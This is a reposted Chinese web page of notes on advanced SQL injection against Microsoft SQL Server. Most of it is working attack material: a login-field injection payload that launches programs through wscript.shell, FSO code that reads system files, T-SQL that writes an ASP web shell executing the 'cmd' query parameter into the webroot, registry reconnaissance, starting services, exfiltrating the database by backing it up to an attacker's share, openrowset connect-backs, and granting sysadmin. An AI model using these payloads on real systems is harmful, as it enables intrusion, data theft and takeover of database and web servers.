• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >ASP > Mssql高级注入笔记II

Mssql高级注入笔记II

作者: 字体:[增加 减小] 来源:互联网 时间:2017-05-11

通过本文主要向大家介绍了mssql手工注入,mssql数据库注入,mssql注入,mssql注入语句,mssql注入工具等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
一些sql扩展 
xp_regaddmultistring 
xp_regdeletekey 删除键名 
xp_regdeletevalue 删除键值 
xp_regenumkeys 枚举 
xp_regenumvalues 
xp_regread 对于 
xp_regremovemultistring 
xp_regwrite 写 
xp_availablemedia 查看驱动器 
xp_dirtree 看目录 
xp_enumdsn ODBC数据源 
xp_loginconfig 一些服务器安全配置的信息 
xp_makecab 打包,某些dbo权限先可做大用 
xp_ntsec_enumdomains 枚举域名相关信息 
xp_terminate_process 终端进程和ip啦 
xp_logininfo 当前登录帐号 
sp_configure 检索数据库中的内容(我觉得这个挺有用的) 
sp_helpextendedproc 得到所有的存储扩展 
sp_who2 查询用户,他们登录的主机,他们在数据库中执行的操作等等 

一些网络信息 
exec xp_regread HKEY_LOCAL_MACHINE, 
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 
'nullsessionshares' 
SNMP辅助网络踩点 
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm 
unities' 

开始一些系统服务,比如telnet,前提希望可以跑来admin或者一些系统密码 
exec master..xp_servicecontrol 'start', 'schedule' 
exec master..xp_servicecontrol 'start', 'server' 

Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' 此扩展可以运行程序 

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表: 
create table foo( line varchar(8000) ) 
然后执行bulk insert操作把文件中的数据插入到表中,如: 
bulk insert foo from 'c:\inetpub\wwwroot\admin\inc.asp' 

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar 
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar' 

SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情 
使用'wscript.shell'对象建立了一个记事本的实例: 
declare @o int 
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',NULL,'notepad.exe' 
指定在用户名后面来执行它: 
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'— 

使用FSO读一个已知的文本文件: 
declare @o int, @f int, @t int, @ret int 
declare @line varchar(8000) 
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 
exec @ret = sp_oamethod @f, 'readline', @line out 
while( @ret = 0 ) 
begin 
print @line 
exec @ret = sp_oamethod @f, 'readline', @line out 
end 

创建了一个能执行通过提交的命令,默认是asp那组权限的用户下运行,前提是sp_oacreate扩展存在 
declare @o int, @f int, @t int, @ret int 
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'createtextfile', @f out, 
'c:\inetpub\wwwroot\foo.asp', 1 
exec @ret = sp_oamethod @f, 'writeline', NULL, 
'<% set o = server.createobject("wscript.shell"): o.run( 
request.querystring("cmd") ) %>' 

sp_who '1' select * from sysobjects 

针对局域网渗透,备份拖库或者非sa用户 
declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat ,name=test;-- 
当前数据库就备份到你的硬盘上了 
select * from openrowset(sqloledb,myserver;sa;,select * from table) 回连,默认需要支持多语句查询 

添加登录,使其成为固定服务器角色的成员。 
语法 
sp_addsrvrolemember [ @loginame = ] 'login' 
[@rolename =] 'role' 
参数 
[@loginame =] 'login' 
是添加到固定服务器角色的登录名称。login 的数据类型为 sysname,没有默认值。login 可以是 Microsoft? SQL Server? 登录或 Microsoft Windows NT? 用户帐户。如果还没有对该 Windows NT 登录授予 SQL Server 访问权限,那么将自动对其授予访问权限。 
[@rolename =] 'role' 
要将登录添加到的固定服务器角色的名称。role 的数据类型为 sysname,默认值为 NULL,它必须是下列值之一: 
sysadmin 
securityadmin 
serveradmin 
setupadmin 
processadmin 
diskadmin 
dbcreator 
bulkadmin 
返回代码值 
0(成功)或 1(失败) 
注释 
在将登录添加到固定服务器角色时,该登录就会得到与此固定服务器角色相关的权限。 
不能更改 sa 登录的角色成员资格。 
请使用 sp_addrolemember 将成员添加到固定数据库角色或用户定义的角色。 
不能在用户定义的事务内执行 sp_addsrvrolemember 存储过程。 
权限 
sysadmin 固定服务器的成员可以将成员添加到任何固定服务器角色。固定服务器角色的成员可以执行 sp_addsrvrolemember 将成员只添加到同一个固定服务器角色。 
示例 
下面的示例将 Windows NT 用户 Corporate\HelenS 添加到 sysadmin 固定服务器角色中。 
EXEC sp_addsrvrolemember 'Corporate\HelenS', 'sysadmin' 

OPENDATASOURCE 
不使用链接的服务器名,而提供特殊的连接信息,并将其作为四部分对象名的一部分。 
语法 
OPENDATASOURCE ( provider_name, init_string ) 
参数 
provider_name 
注册为用于访问数据源的 OLE DB 提供程序的 PROGID 的名称。provider_name 的数据类型为 char,没有默认值。 
init_string 
连接字符串,这些字符串将要传递给目标提供程序的 IDataInitialize 接口。提供程序字符串语法是以关键字值对为基础的,这些关键字值对由分号隔开,例如:"keyword1=value; keyword2=value." 
在 Microsoft? Data Access SDK 中定义了基本语法。有关所支持的特定关键字值对的信息,请参见提供程序中的文档。下表列出 init_string 参数中最常用的关键字。 
关键字 OLE DB 属性 有效值和描述 
数据源 DBPROP_INIT_DATASOURCE 要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于 SQL Server OLE DB 提供程序来说,这会指明服务器的名称。对于 Jet OLE DB 提供程序来说,这会指明 .mdb 文件或 .xls 文件的完整路径。 
位置 DBPROP_INIT_LOCATION 要连接的数据库的位置。 
扩展属性 DBPROP_INIT_PROVIDERSTRING 提供程序特定的连接字符串。 
连接超时 DBPROP_INIT_TIMEOUT 超时值,在该超时值后,连接尝试将失败。 
用户 ID DBPROP_AUTH_USERID 用于该连接的用户 ID。 
密码 DBPROP_AUTH_PASSWORD 用于该连接的密码。 
目录 DBPROP_INIT_CATALOG 连接到数据源时的初始或默认的目录
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • Mssql高级注入笔记II

相关文章

  • 2017-05-11asp遍历目录及子目录的函数
  • 2017-05-11批量复制数据
  • 2017-05-11Asp中随机产生用户密码的代码
  • 2017-05-11XMLHttp ASP远程获取网页内容代码
  • 2017-05-11ASP实现防止网站被采集代码
  • 2017-05-11通过数组给您的文件排序
  • 2017-05-11asp 防盗链代码(彻底屏蔽迅雷,旋风,快车下载站内资源)
  • 2017-05-11asp编译成dll-图形化教程第1/2页
  • 2017-05-11XDOWNPAGE ASP版本 分页类
  • 2017-05-11ASP字符串大写转换成小写 ASP小写转换成大写 ucase lcase

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • JavaScript在ASP页面中实现掩码文本框效果代码
    • 插件下载┊垃圾引用防御补丁(每小时自动换KEY,支持静态页面)
    • ASP常见错误详解及解决方案小结 推荐第1/2页
    • set rs=server.CreateObject("adodb.recordset") 的中文详细说明
    • asp取得数组中的最大值的方法
    • A利用ASP小偷和Google实现在线翻译功能的代码
    • aspupload 3.0 下载与使用集锦
    • 防止网站内容被小偷采集的ASP代码
    • 文件、目录,文本文件等多种操作类
    • MSXML4.0 版中的新增功能

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有